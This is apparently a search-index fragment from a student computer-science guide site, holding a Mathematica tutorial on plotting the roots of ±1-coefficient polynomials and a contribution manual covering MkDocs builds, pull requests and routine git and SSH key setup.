    In[]:=Solve[2 x^2 + 3 x + 4 == 0, x]\nOut[]={{x -> 1/4 (-3 - I Sqrt[23])}, {x -> 1/4 (-3 + I Sqrt[23])}}\nIn[]:=Solve[2.0  x^2 + 3.0  x + 4.0 == 0.0, x]\nOut[]={{x -> -0.75 - 1.19896 I}, {x -> -0.75 + 1.19896 I}}\n

    Mathematica\u4e2d\u6574\u6570\u7684\u7cbe\u5ea6\u4e0d\u662f1\uff0c\u800c\u662f\u65e0\u7a77\u3002\u6211\u4eec\u663e\u7136\u4e0d\u9700\u8981\u90a3\u4e48\u9ad8\u7684\u7cbe\u5ea6\uff0c\u7528\u673a\u5668\u7cbe\u5ea6\u8db3\u4ee5\u5b8c\u6210\u4efb\u52a1\u4e86\u3002

    2.\u4e13\u7528\u51fd\u6570\u6bd4\u901a\u7528\u51fd\u6570\u5feb\u3002

    Solve\u548cNSolve\u7684\u6c42\u89e3\u539f\u7406\u662f\u6c42f(x)=0\u7684\u53cd\u51fd\u6570\uff0c\u5bf9\u4e8e\u8d85\u8d8a\u65b9\u7a0b\u6765\u8bf4\uff0c\u6ca1\u529e\u6cd5\uff0c\u53ea\u80fd\u662f\u5b83\u3002\u4f46\u662f\u6211\u4eec\u4eca\u5929\u7684\u4e3b\u89d2\u662f\u591a\u9879\u5f0f\uff0c\u53ef\u4ee5\u6709\u66f4\u5feb\u7684\u65b9\u6cd5\u3002

    In[]:= NRoots[AlgebraicNumber[x, {1, -1, 1}] == 0, x]\nOut[]=x == 0.5 - 0.866025 I || x == 0.5 + 0.866025 I\n

    NRoots\u7ed9\u51fa\u4e00\u4e2a\u591a\u9879\u5f0f\u65b9\u7a0b\u7684\u6570\u503c\u8fd1\u4f3c\u89e3\u3002

    \u9a8c\u8bc1\u4e00\u4e0bNRoots\u548cNSolve\u54ea\u4e2a\u66f4\u5feb,\u6c42\u89e31000\u4e2a\u65b9\u7a0b\u6bd4\u8f83\u4e00\u4e0b\u3002

    In[]:=AbsoluteTiming[Do[List@@NRoots[AlgebraicNumber[x, {4., 3., 2., 1.}] == 0, x][[All, 2]], {1000}]]\nOut[]={0.0411889, Null}\nIn[]:=AbsoluteTiming[Do[List@@NSolve[AlgebraicNumber[x, {4., 3., 2., 1.}] == 0, x][[All, 1, 2]], {1000}]]\nOut[]={1.1734, Null}\n

    \u4e00\u4e2a0.04\u79d2\uff0c\u4e00\u4e2a1.17\u79d2\uff0c\u5dee\u8ddd\u76f8\u5f53\u660e\u663e\u3002

    \u5982\u6cd5\u70ae\u5236\uff0c\u6211\u4eec\u89c2\u5bdf\u4e00\u4e0b\u7ed3\u6784\uff08\u6216\u8005\u4f7f\u7528TreeForm\uff09\uff0c\u7b2c\u4e00\u5c42\u662fOr\uff0c\u4e5f\u5c31\u662f||\uff0c\u7b2c\u4e8c\u5c42\u662f\u7528Equal\uff08==\uff09\u8fde\u63a5\u7684x\u4e0e\u5bf9\u5e94\u89e3\u3002\u5f00\u59cb\u66ff\u6362\u3002

    In[]:=ReIm[List @@ NRoots[AlgebraicNumber[x, {1, -1, 1}] == 0, x][[All, 2]]]\nOut[]={{0.5, -0.866025}, {0.5, 0.866025}}\n

    \u7406\u8bba\u4e0a\uff0c\u53ea\u8981\u628a\u8fd9\u73a9\u610f\u513f\u5c01\u88c5\u6210\u51fd\u6570\uff0c\u753b\u4e2a\u6563\u70b9\u56fe\u8fd9\u4e8b\u513f\u5c31\u7ed3\u675f\u4e86\u3002\u4f46\u662f\u8fd8\u662f\u522b\u8fd9\u6837\u4e86\uff0c\u6211\u8bd5\u8fc7\u4e86\uff0c13\u6b21\u65b9\u7a0b\uff0c\u7528\u4e8665\u79d2\uff0c\u5168\u7a0b\u5185\u5b58\u5360\u7528\u6ca1\u4e0b700M\u3002

    "},{"location":"salon/0513/%E7%B3%BB%E6%95%B0%E4%B8%BA%C2%B11%E7%9A%84n%E6%AC%A1%E6%96%B9%E7%A8%8B%E6%A0%B9%E5%9C%A8%E5%A4%8D%E5%B9%B3%E9%9D%A2%E7%9A%84%E5%88%86%E5%B8%83/#_4","title":"\u5e08\u5937\u957f\u6280\u4ee5\u5236\u5937","text":"

    \u601d\u8003\u4e00\u4e2a\u95ee\u9898\uff1a\u6211\u771f\u7684\u9700\u8981\u6c42\u51fa\u6240\u6709\u7684\u65b9\u7a0b\u7684\u89e3\u5417\uff1f

    x^2+x+1==0\u548c-x^2-x-1==0\u7684\u89e3\u662f\u4e00\u6a21\u4e00\u6837\u7684\uff0c\u4e4b\u524d\u751f\u6210\u7684\u8fd9\u4e9b\u65b9\u7a0b\u4e2d\u6709\u4e00\u534a\u662f\u6c42\u89e3\u4e86\u4e5f\u6ca1\u7528\u7684\u3002\u6240\u4ee5\u6211\u4eec\u53ea\u9700\u8981\u8003\u8651\u6700\u9ad8\u6b21\u7cfb\u6570\u4e3a\u6b631\u7684\u60c5\u5f62\u3002

    f[list_]:=List@@NRoots[AlgebraicNumber[x,Append[list,1]]==0,x][[All,2]]\n

    Append\u7528\u4e8e\u5728\u5217\u8868\u672b\u5c3e\u63d2\u5165\u503c\u3002

    \u518d\u8bd5\u8bd5\uff1f

    In[]:=AbsoluteTiming[f /@ Tuples[{-1, 1}, 13]]\nOut[]={6.16429,{...}}\n

    \u73b0\u5728\u6211\u4eec\u5012\u662f\u6c42\u51fa\u6765\u4e8613\u6b21\u65b9\u7a0b\u7684\u6240\u6709\u89e3\uff0c\u7136\u800c\u5427\u4e3b\u7684\u6700\u7ec8\u56fe\u50cf\u4e2d\u6c42\u89e3\u4e8619\u6b21\u65b9\u7a0b\uff0c\u8fd9\u4e2a\u65f6\u95f4\u662f6.16\u79d2\u76845\u4e2a\u6570\u91cf\u7ea7\uff0c\u800c\u4e14\u8fd9\u8fd8\u6ca1\u8ba1\u7b97\u753b\u56fe\u65f6\u95f4\u3002\u663e\u7136\uff0c\u8fd9\u662f\u6211\u4eec\u627f\u53d7\u4e0d\u8d77\u7684\u3002

    \u7136\u540e\uff0c\u6211\u4eec\u53d1\u73b0\u4e86\u4e00\u4e2a\u60b2\u54c0\u7684\u4e8b\u5b9e\uff1a

    Mathematica\u4e2dNRoots\u7684\u6c42\u89e3\u6548\u7387\u6bd4MATLAB\u4e2d\u7684roots\u4f4e\u4e86\u4e00\u4e2a\u6570\u91cf\u7ea7\uff01

    \u5e78\u8fd0\u7684\u662f\uff0cMATLAB\u53ef\u4ee5\u968f\u610f\u7be1\u6539\u51fd\u6570\u7684\u6e90\u4ee3\u7801\uff0c\u4e00\u53e5\u8bdd\u5c31\u53ef\u4ee5\u4e00\u7779\u8fd9\u4e2a\u51fd\u6570\u7684\u82b3\u5bb9\uff1a

    edit(which(\"roots.m\"))\n

    \u4e3e\u4f8b\u8bf4\u660e\u4e00\u4e0b\u539f\u7406\uff1a

    \u5df2\u77e5\u4e09\u6b21\u591a\u9879\u5f0f\u65b9\u7a0b\uff1a $$ a_3x^3+a_2x^2+a_1x+a_0=0 $$ \u6784\u9020\u77e9\u9635\uff1a $$ A=\\begin{bmatrix} -\\frac{a_2}{a_3} & -\\frac{a_1}{a_3} &-\\frac{a_0}{a_3} \\ 1 & 0 & 0\\ 0 & 1 & 0 \\end{bmatrix} $$ \u89e3\u4e3a\uff1a $$ x=\\begin{bmatrix} x_1\\x_2\\x_3 \\end{bmatrix} $$ \u5bf9\u89e3\u6709Ax=\u03bbx\uff0c\u5219\u6709\u65b9\u7a0b\uff1a $$ \\begin{matrix} -\\frac{a_2}{a_3}x_1-\\frac{a_1}{a_3}x_2-\\frac{a_0}{a_3}x_3=\\lambda x_1\\ x_1=\\lambda x_2\\ x_2=\\lambda x_3 \\end{matrix} $$ \u4ee3\u5165\u539f\u65b9\u7a0b\u5c31\u53ef\u4ee5\u628a\u6c42\u89e3\u65b9\u7a0b\u7684\u89e3\u8f6c\u5316\u4e3a\u6c42\u89e3\u77e9\u9635\u7684\u7279\u5f81\u503c\uff0c\u4ee5\u4e0a\u539f\u7406\u5bf9n\u6b21\u65b9\u7a0b\u4f9d\u7136\u6210\u7acb\u3002

    \u660e\u767d\u4e86\u539f\u7406\u5c31\u53ef\u4ee5\u81ea\u5df1\u5199\u4e00\u4e2a\u7c7b\u4f3c\u7684\uff0c\u4e0d\u8fc7\u6211\u4eec\u53ea\u8981\u7cfb\u6570\u00b11\u7684\u60c5\u51b5\u6240\u4ee5\u4e0d\u5fc5\u5b8c\u5168\u7167\u6284\u3002

    modifiedroots[c_List]:=Module[{a},a=DiagonalMatrix[ConstantArray[1.,Length[c]-1],-1];\na[[1]]=-c;\nEigenvalues[a]\n];\n

    \uff08\u987a\u5e26\u4e00\u63d0Mathematica\u91cc\u5934\u7528\u4e2a\u5c40\u90e8\u53d8\u91cf\u9ebb\u70e6\u5f97\u53ef\u6015\uff0c\u540c\u6837\u53ef\u6015\u7684\u662f\u5b57\u7b26\u4e32\u62fc\u63a5\uff0c\u4e0d\u8fc7\u4eca\u5929\u7684\u5185\u5bb9\u4e0d\u6d89\u53ca\uff09

    \u7b9714\u6b21\u65b9\u7a0b\u7684\u65f6\u5019\u8fd9\u4e2a\u51fd\u6570\u7adf\u7136\u53ea\u7528\u4e861.23\u79d2\uff01\uff08\u6211\u4eec\u4e00\u5171\u8ba1\u7b97\u4e862^14\u4e2a\u65b9\u7a0b\uff09

    \u51c6\u5907\u7ed8\u56fe\u3002\u4e0d\u8fc7\u6211\u4eec\u6362\u4e2a\u65b9\u5f0f\u3002\u524d\u5934\u7684\u4e24\u4e2a\u6563\u70b9\u56fe\u592a\u96be\u770b\u4e86\uff0c\u6211\u4eec\u6539\u6210\u5bc6\u5ea6\u56fe\u3002

    \u9996\u5148\u5bf9\u70b9\u7684\u5206\u5e03\u8fdb\u884c\u7edf\u8ba1\u3002\u65e2\u7136\u6548\u7387\u63d0\u9ad8\u4e86\u5c31\u76f4\u63a5\u4e0a18\u6b21\u65b9\u7a0b\u3002

    In[]:=n = 18;\ndata = ReIm[Flatten[modifiedroots /@ Tuples[{-1, 1}, n]]];\ncounts = BinCounts[data, {-2, 2, 4./601}, {-2., 2., 4./601}];\nSort[Flatten[counts]]\nOut[]=(*\u8fd9\u91cc\u7684\u8f93\u51fa\u6709\u591a\u4e8e36\u4e07\u4e2a\u5143\u7d20\uff0c\u4e0d\u8fdb\u884c\u5217\u4e3e*)\n

    \u5c06\u7edf\u8ba1\u7ed3\u679c\u8f6c\u5316\u4e3a\u5e73\u9762\u76f4\u89d2\u5750\u6807\u7cfb\u4e2d\u7684\u5bf9\u5e94\u70b9\u7684\u7070\u5ea6\uff1a

    ArrayPlot[counts]\n

    \u5927\u6982\u957f\u8fd9\u6837\uff1a

    "},{"location":"salon/0513/%E7%B3%BB%E6%95%B0%E4%B8%BA%C2%B11%E7%9A%84n%E6%AC%A1%E6%96%B9%E7%A8%8B%E6%A0%B9%E5%9C%A8%E5%A4%8D%E5%B9%B3%E9%9D%A2%E7%9A%84%E5%88%86%E5%B8%83/#_5","title":"\u5408\u7406\u7684\u7be1\u6539","text":"

    \u8fd9\u4e2a\u56fe\u5e76\u4e0d\u597d\u770b\uff0c\u751a\u81f3\u4e8e\u8bf4\u6ca1\u6709\u89c2\u5bdf\u4ef7\u503c\u3002

    \u56de\u5230\u6570\u636e\u89c2\u5bdf\uff0c\u6211\u4eec\u53d1\u73b0\u8fd9\u4e2a\u6570\u636e\u96c6\u4e2d\u6709\u4e00\u5927\u534a\u76840\u548c\u4e00\u5927\u534a1000\u4ee5\u4e0a\u7684\u6570\u636e\u3002\u5149\u5b66\u7684\u884d\u5c04\u5b9e\u9a8c\u4e2d\u4e5f\u6709\u7c7b\u4f3c\u7684\u60c5\u51b5\uff0c\u79f0\u4e3a\u884d\u5c04\u4e3b\u6781\u5927\u3002\u6211\u4eec\u5e73\u5e38\u5728\u4e66\u4e0a\u770b\u5230\u7684\u884d\u5c04\u56fe\u6837\u90fd\u662f\u88ab\u5904\u7406\u8fc7\u7684\uff0c\u5b9e\u9645\u4e0a\uff0c\u771f\u6b63\u7684\u884d\u5c04\u5b9e\u9a8c\u4e2d\u4e2d\u95f4\u7684\u6761\u7eb9\u5149\u5f3a\u662f\u8fdc\u9ad8\u4e8e\u8fb9\u7f18\u7684\u5c0f\u6761\u7eb9\u7684\u3002

    In[]:=Sort[Flatten[UnitStep[300 - counts]*counts]]\nOut[]=(*\u8fd9\u91cc\u7684\u8f93\u51fa\u6709\u591a\u4e8e36\u4e07\u4e2a\u5143\u7d20\uff0c\u4e0d\u8fdb\u884c\u5217\u4e3e*)\n

    UnitStep\u5728x\uff1c0\u65f6\u53d60\uff0cx\u22650\u65f6\u53d61\u3002

    \u518d\u753b\u4e00\u4e0b\u56fe\uff1a

    ArrayPlot[UnitStep[300 - counts]*counts]\n

    \u6539\u4e2a\u989c\u8272\uff1a

    ArrayPlot[UnitStep[300 - counts]*counts,ColorFunction->\"AvocadoColor\"]\n

    \u5927\u529f\u544a\u6210\uff01

    "},{"location":"salon/0513/%E7%B3%BB%E6%95%B0%E4%B8%BA%C2%B11%E7%9A%84n%E6%AC%A1%E6%96%B9%E7%A8%8B%E6%A0%B9%E5%9C%A8%E5%A4%8D%E5%B9%B3%E9%9D%A2%E7%9A%84%E5%88%86%E5%B8%83/#_6","title":"\u66f4\u4e25\u91cd\u7684\u95ee\u9898","text":"

    \u5230\u73b0\u5728\u4e3a\u6b62\uff0c\u9898\u5e72\u7684\u95ee\u9898\u5c31\u7b97\u89e3\u51b3\u4e86\uff0c\u6211\u4eec\u5f97\u5230\u4e86\u4e00\u4e2a\u73af\uff0c\u8fd8\u662f\u5e26\u523a\u7684\u3002

    \u90a3\u5982\u679c\u662f24\u6b21\u65b9\u7a0b\u5462\uff1f

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    gene[num_,n_]:=(-1.)^IntegerDigits[num,2,n];\n

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    886886

    \u53c2\u8003\u94fe\u63a5\uff1a

    https://jump2.bdimg.com/p/3622255435?pn=1

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    (\uff61\uff65\u2200\uff65)\uff89\uff9e\u55e8\uff0c\u4f60\u53d1\u73b0\u4e86\u00a0Chive

    \u672c\u7f51\u7ad9\u7075\u611f\u6765\u6e90\u4e8e\u6d59\u6c5f\u5927\u5b66\u56fe\u7075\u73ed\u5b66\u4e60\u6307\u5357\u548c\u4e0a\u6d77\u4ea4\u901a\u5927\u5b66\u751f\u5b58\u624b\u518c\u3002

    Note

    \u76ee\u524d\u6211\u4eec\u6b63\u5728\u81f4\u529b\u4e8e\u5411\u8ba1\u7b97\u673a\u5b66\u9662\u5404\u4e2a\u4e13\u4e1a\u63d0\u4f9b\u670d\u52a1\uff0c\u6b22\u8fce\u8fdb\u884cContribute

    \u6211\u4eec\u5e0c\u671b\u5efa\u7acb\u4e00\u4e2a\u4ed3\u5e93\uff0c\u5bf9\u8fd9\u4e9b\u8ba1\u7b97\u673a\u8bfe\u7a0b\u8fdb\u884c\u4e00\u4e9b\u4ecb\u7ecd\uff0c\u5e76\u8865\u5145\u4e00\u4e9b\u8bfe\u7a0b\u5185\u5bb9\u4f9b\u4e13\u4e1a\u65b0\u4eba\u53c2\u8003\u5b66\u4e60\u3002

    \u6b22\u8fce\u5404\u4f4d\u540c\u5b66\u5bf9\u672c\u4ed3\u5e93\u8fdb\u884c\u8d21\u732e\uff01

    P.S. \u672c\u7ad9\u57fa\u672c\u4f9d\u636e\u6d59\u5927\u4ed3\u5e93\u6784\u5efa\uff0c\u611f\u8c22\u6d59\u5927\u56fe\u7075\u73ed\u540c\u5b66\u7684\u8d21\u732e\uff0c\u76f8\u5173\u9879\u76ee\u5982\u4e0b\uff1a

    \u4ff1\u4e50\u90e8\u4e3b\u9875\uff1a\u7b2c\u4e94\u7a7a\u95f4\u7f51\u7edc\u7a7a\u95f4\u5b89\u5168\u4ff1\u4e50\u90e8 \u8bf7\u5728\u6821\u56ed\u7f51\u73af\u5883\u4e0b\u8bbf\u95ee\uff01

    \u8be5\u9879\u76ee\u4e3b\u9875\u5730\u5740\uff1a\u54c8V \u8ba1\u7b97\u673a\u6307\u5357

    \u8be5\u9879\u76eeGitHub\u5730\u5740: \u54c8V \u8ba1\u7b97\u673a\u6307\u5357

    2024-04-28\u2003\u2003 Contributors

    "},{"location":"manual/","title":"\u8d21\u732e\u6307\u5357","text":""},{"location":"manual/#_1","title":"\u9879\u76ee\u7ed3\u6784\u4ecb\u7ecd","text":"
    -|-.github/workflows #\u8fd9\u91cc\u5b58\u50a8github page\u90e8\u7f72yml\n-|-docs #\u8fd9\u4e2a\u76ee\u5f55\u7528\u4e8e\u5b58\u50a8\u6240\u6709\u6587\u6863\u5185\u5bb9\n     |--index.md #HITWH-CS\u7ad9\u70b9\u4e3b\u9875\n     |--others.md #\u6216\u8005\u6709\u5176\u4ed6\u9875\u9762\n     |--example #\u8fd9\u662f\u4e00\u4e2a\u6837\u4f8b\u76ee\u5f55\n            |--index.md #example\u7684\u4e3b\u9875\n            |--others1.md #example\u7684\u5177\u4f53\u5176\u4ed6\u5185\u5bb9\n            |--others2.md #example\u7684\u5177\u4f53\u5176\u4ed6\u5185\u5bb9\n-|-mkdocs.yml #\u7f51\u7ad9\u7684\u914d\u7f6e\u6587\u4ef6\uff0c\u5177\u4f53\u5185\u5bb9\u770b\u4e0b\u6587\n-|-requirments.txt #Python\u7684\u9700\u6c42\u6587\u4ef6\uff0c\u5982\u65e0\u5fc5\u8981\uff0c\u52ff\u589e\u5b9e\u4f53           \n
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    "},{"location":"manual/#_4","title":"\u672c\u5730\u6784\u5efa","text":"

    \u9879\u76ee\u62c9\u53d6\uff1a

    git clone https://github.com/Fifth-Space/HITWH-CS.git\ncd HITWH-CS\n
    \u5b89\u88c5 Python \u4f9d\u8d56
    pip install -r requirements.txt\n
    \u5b89\u88c5\u672c\u6587\u6863\u63d2\u4ef6\uff1a
    git clone https://github.com/Fifth-Space/mkdocs_plugins.git\ncd mkdocs_plugins\npip install -e .\ncd ..\n
    \u5728\u672c\u5730\u8fd0\u884c\uff0c\u786e\u8ba4\u65e0\u8bef\u540e\u518d\u8fdb\u884c\u63a8\u9001
    mkdocs serve\n
    - \u4e4b\u540e\u5373\u53ef\u901a\u8fc7\u6d4f\u89c8\u5668\u8bbf\u95ee\u00a0localhost:8000\u00a0\u9884\u89c8\u7f51\u7ad9

    "},{"location":"manual/#_5","title":"\u8d21\u732e\u5b88\u5219","text":""},{"location":"manual/#_6","title":"\u8d21\u732e\u65b9\u5f0f","text":"

    \u52a1\u5fc5\u67e5\u770b\u4ee5\u4e0b\u5185\u5bb9\uff0c\u907f\u514d\u534f\u4f5c\u8005\u51b2\u7a81

    \u901a\u8fc7\u4e24\u6b21\u00a0PR\uff08\u5373\u00a0Pull Request\uff09\u7684\u5f62\u5f0f\u6765\u8fdb\u884c\u8d21\u732e\uff0c\u5177\u4f53\u6d41\u7a0b\uff1a

    \u7b2c\u4e00\u6b21\u63d0\u4ea4\u5360\u4e00\u4e0bmkdocs.yml\u7684\u5751\u4f4d\uff0c\u8fd9\u6837\u907f\u514dmerge\u51b2\u7a81

    \u7b2c\u4e8c\u6b21\u63d0\u4ea4\u5c31\u5728docs\u63d0\u4ea4\u4f60\u7684markdown

    \u8bf7\u52a1\u5fc5\u786e\u8ba4\u5206\u652f\u6b63\u786e

    "},{"location":"manual/#_7","title":"\u9879\u76ee\u89c4\u5212","text":"
    general: \u901a\u8bc6\u8bfe\nouter: \u5916\u4e13\u4e1a\u9009\u4fee\u8bfe\nbasic: \u6570\u7406\u57fa\u7840\u8bfe\nculture\uff1a\u6587\u5316\u7d20\u8d28\u8bfe\nmajor\uff1aCS \u4e13\u4e1a\u7c7b\u8bfe\u7a0b\nlabs\uff1a\u5b66\u6821\u5404\u4e2a\u5b9e\u9a8c\u5ba4\u7684\u6280\u672f\u6808\u4ecb\u7ecd\u548c\u9879\u76ee\uff08\u5305\u62ec\u8001\u5e08\u7684\u5b9e\u9a8c\u5ba4\uff09\ncompetition\uff1a\u8ba1\u7b97\u673a\u7ade\u8d5b\u76f8\u5173\nsalon\uff1a\u4ff1\u4e50\u90e8\u53ef\u516c\u5f00\u7684\u5206\u4eab\u4f1a\u6587\u6863\nCTF-WP\uff1a\u4ff1\u4e50\u90e8\u53c2\u52a0\u7684CTF\u6bd4\u8d5b\u9898\u89e3\n
    "},{"location":"manual/#git","title":"\u6709\u5173Git\u7684\u4f7f\u7528","text":""},{"location":"manual/#git_1","title":"git\u4e0b\u8f7d","text":"

    \u5b98\u7f51\u4e0b\u8f7d https://git-scm.com/

    \u5b89\u88c5\u5b8c\u6253\u5f00bash\u8f93\u5165 git\u5373\u53ef\u67e5\u770b\u662f\u5426\u6b63\u5e38

    "},{"location":"manual/#gitgithubgitee","title":"git\u548cgithub\u548cgitee\u7684\u5173\u7cfb","text":"

    git\u662f\u7ba1\u7406\u4ee3\u7801\u7684\u5de5\u5177\uff0c\u53ef\u4ee5\u8bb0\u5f55\u6e90\u7801\u7684\u5386\u53f2\uff0c\u672c\u5730

    github\u548cgitee\u90fd\u662f\u6258\u7ba1\u4ed3\u5e93\uff0c\u5728\u7ebf

    \u4f7f\u7528git\u53ef\u4ee5\u65b9\u4fbf\u7684\u63a8\u9001\u4ee3\u7801\u5230\u8fdc\u7a0b\u4ed3\u5e93\uff0c\u4e5f\u53ef\u4ee5\u65b9\u4fbf\u7684\u8fdb\u884c\u591a\u4eba\u534f\u4f5c

    "},{"location":"manual/#git_2","title":"Git\u7684\u914d\u7f6e","text":"

    \u9996\u5148\uff0c\u8981\u914d\u7f6e\u7535\u8111\u7684ssh key

    \u6253\u5f00bash/cmd/powershell

    ssh-keygen -t rsa -C \"<email>\"\n

    \u8fd9\u4e2aemail\u5e94\u8be5\u5bf9\u5e94\u4f60\u7684github/gitee\u90ae\u7bb1\uff0c\u4e8b\u5b9e\u4e0a\u4e24\u4e2a\u6258\u7ba1\u5e73\u53f0\u7528\u4e00\u6837\u7684\u5c31\u884c\uff08\u4e8b\u5b9e\u4e0a-C\u53c2\u6570\u53ef\u4ee5\u4e0d\u6dfb\u52a0

    \u6572\u4e09\u6b21\u56de\u8f66\u4e00\u8def\u5230\u5e95\u5c31\u884c\uff08\u53ef\u4ee5\u8f93\u5165\u6587\u4ef6\u540d/\u5bc6\u7801\uff0c\u4f46\u662f\u4e0d\u662f\u5fc5\u8981\u7684\uff09

    \u8fd9\u65f6\u5019\u4f1a\u5728\u4f60\u7684\u7528\u6237\u76ee\u5f55\u4e0b\u7684.ssh\u6587\u4ef6\u5939\u91cc\u751f\u6210\u4e00\u4e2aid_rsa \uff08\u79c1\u94a5\uff09 id_rsa.pub\uff08\u516c\u94a5\uff09\uff0c\u6211\u4eec\u4f7f\u7528\u516c\u94a5

    cat .ssh/id_rsa.pub\n

    \u83b7\u53d6\u547d\u4ee4\u884c\u8f93\u51fa\u7684\u516c\u94a5\u5185\u5bb9\uff0c\u5168\u90e8\u590d\u5236

    \u767b\u9646github\uff0c\u8fdb\u5165\u5230\u4e2a\u4eba\u7684Settings

    \u6dfb\u52a0sshkey\uff0c\u76f4\u63a5\u7c98\u8d34\u521a\u521a\u7684\u516c\u94a5\u5c31\u884c\uff0c\u786e\u8ba4\u3002

    \u6ca1\u4ec0\u4e48\u95ee\u9898\u7684\u8bdd\u4e00\u5c01\u90ae\u4ef6\u4f1a\u53d1\u5230\u4f60\u7684\u90ae\u7bb1\u544a\u77e5\u4f60\u6dfb\u52a0\u4e86\u8fd9\u4e2a\u516c\u94a5\u3002\u73b0\u5728\uff0c\u7406\u8bba\u4e0a\u4f60\u8fd9\u53f0\u7535\u8111\u5c31\u80fd\u8fde\u63a5\u5230github\u4e86

    ssh -T git@github.com\n

    \u5982\u679c\u6362\u53f0\u7535\u8111\uff0c\u540c\u6837\u7684\u6d41\u7a0b\u4e5f\u5f97\u8d70\u4e00\u904d

    \u63a5\u4e0b\u6765\u914d\u7f6egit

    \u8fd8\u662f\u5728\u547d\u4ee4\u884c\uff08\u63a8\u8350\u7528git\u7684bash\uff09

    git config --global user.name \"your_github_username\" \ngit config --global user.email \"your_email\"\n

    \u5176\u4e2d\u7528\u6237\u540d\u662f\u4f60\u6ce8\u518cgithub\u7684\u8d26\u53f7\u540d\u5b57

    \u90ae\u7bb1\u662f\u6ce8\u518c\u4f7f\u7528\u7684\u90ae\u7bb1\uff0c\u6ca1\u4ec0\u4e48\u95ee\u9898\u5c31\u548c\u4e0a\u9762\u516c\u94a5\u7528\u7684\u4e00\u6837

    git config --global --list\n

    \u53ef\u4ee5\u770b\u5230\u81ea\u5df1\u7684\u914d\u7f6e

    "},{"location":"manual/#_8","title":"\u5982\u4f55\u8fde\u63a5\u8fdc\u7a0b","text":""},{"location":"manual/#_9","title":"\u672c\u5730\u9879\u76ee\u5230\u8fdc\u7a0b","text":"

    \u5728github\u4e2d\u65b0\u5efa\u4e00\u4e2a\u4ed3\u5e93\uff0c\u4ec0\u4e48\u90fd\u4e0d\u6dfb\u52a0

    git init #\u521d\u59cb\u5316git \u751f\u6210\u4e00\u4e2a.git\u6587\u4ef6\u5939\u5728\u5f53\u524d\u76ee\u5f55,\u9ed8\u8ba4\u521b\u5efamaster\u5206\u652f\ngit add . #\u6dfb\u52a0\u6587\u4ef6\u5230\u6682\u5b58\u533a\uff0c.\u4ee3\u8868\u6240\u6709\u6587\u4ef6\ngit commit -m \"your commit\"\ngit remote add origin <your_ssh_url> #\u5efa\u8bae\u4f7f\u7528ssh url,\u539f\u56e0\u4e0b\u9762\u6709\u8bb2\ngit push -u origin master #\u63a8\u9001\u8fdc\u7a0b\uff0c\u4ee5\u540e\u7528git push\u5c31\u884c\n

    \u8fd9\u6837\u5728github\u9875\u9762\u4e0a\u4f60\u5e94\u8be5\u80fd\u770b\u5230\u4f60\u7684\u6dfb\u52a0\u7684\u6587\u4ef6\u4e86

    "},{"location":"manual/#_10","title":"\u8fdc\u7a0b\u9879\u76ee\u5230\u672c\u5730\u5de5\u4f5c","text":"
    git clone <http_url OR ssh_url>\ncd example #\u8fdb\u5165\u9879\u76ee\u6587\u4ef6\u5939\ngit pull #\u6bcf\u6b21\u5f00\u542f\u4f60\u7684\u5de5\u4f5c\u524d\uff0c\u68c0\u67e5\u662f\u5426\u662f\u6700\u65b0\u7684\ngit checkout master #\u5207\u6362\u5230master\u5206\u652f \u5728\u6211\u4eec\u7684\u7ad9\u70b9 \u8fd9\u4e2a\u5206\u652f\u662fmain\ngit add . #\u6dfb\u52a0\u6587\u4ef6\u5230\u6682\u5b58\u533a\uff0c.\u4ee3\u8868\u6240\u6709\u6587\u4ef6\ngit commit -m \"your commit\"\n

    \u4ee5\u4e0a\u64cd\u4f5c\u90fd\u662f\u6b63\u5e38\u64cd\u4f5c

    \u4f46\u662f\u8fd9\u65f6\u5019\u63a8\u9001\uff0c\u53ef\u80fd\u4f1a\u9047\u5230\u8fd9\u6837\u7684\u95ee\u9898\uff1a

    \u9274\u6743\u5931\u8d25\uff1agithub\u79fb\u9664\u4e86\u5bc6\u7801\u9a8c\u8bc1

    \u8fd9\u4e2a\u65f6\u5019\u5b9e\u9645\u4e0a\u5c31\u662f\u4e0a\u6587\u8981\u4f7f\u7528ssh\u7684\u95ee\u9898

    \u89e3\u51b3\u529e\u6cd5\u5982\u4e0b

    git remote -v #\u53ef\u4ee5\u770b\u5230\u7684\u786egit remote\u73b0\u5728\u662fhttp url \u56e0\u4e3aclone\u7528\u7684http\ngit remote rm origin\ngit reamote add origin git@github.com:cyan4run/example.git #\u6dfb\u52a0ssh\u7684\u8fdc\u7a0b\ngit remote -v #\u68c0\u67e5\u4e00\u4e0b\n

    \u7136\u540e\u6109\u5feb\u7684\u63a8\u9001\u5230\u4ed3\u5e93

    git push -u origin master #master\u662f\u8fde\u63a5\u7684\u8fdc\u7a0b\u5206\u652f\uff0c\u800c\u5728\u6211\u4eec\u7684\u7ad9\u70b9\u4e2d\uff0c\u8fd9\u4e2a\u5206\u652f\u662fmain\ngit push #\u7b2c\u4e00\u6b21\u63a8\u9001\u4ee5\u540e\u4ee5\u540e\u53ef\u4ee5\u7528\u8fd9\u4e2a\n

    \u53e6\u5916\u7684\u89e3\u51b3\u529e\u6cd5\u662f\uff0c\u7528token\u66ff\u4ee3\u4f60\u7684\u5bc6\u7801\uff0c\u4e0d\u4ecb\u7ecd\u4e86\uff0c\u53bbsetting\u6dfb\u52a0\u5c31\u884c

    "},{"location":"manual/#_11","title":"\u5173\u4e8e\u591a\u4eba\u534f\u4f5c","text":"

    \u5c06\u591a\u4eba\u534f\u4f5cfork\u5230\u81ea\u5df1\u7684\u8d26\u53f7\u4ed3\u5e93\u4e0b\u4ee5\u540e\uff0c\u64cd\u4f5c\u548c \u8fdc\u7a0b\u9879\u76ee\u5230\u672c\u5730\u5de5\u4f5c \u76f8\u540c\uff0c\u53c2\u89c1\u4e0a\u6587

    \u63a8\u9001\u5230\u81ea\u5df1\u7684\u4ed3\u5e93\u4ee5\u540e\uff0c\u8bf7\u63d0\u4ea4pull request\u7b49\u5f85\u591a\u4eba\u534f\u4f5c\u4ed3\u5e93\u7ba1\u7406\u5458\u7684\u5ba1\u6838\uff0c\u5373\u53ef\u5408\u5e76\u5230\u4e3b\u5206\u652f\u5b8c\u6210\u4e00\u6b21\u8d21\u732e

    2024-04-23\u2003\u2003 Contributors

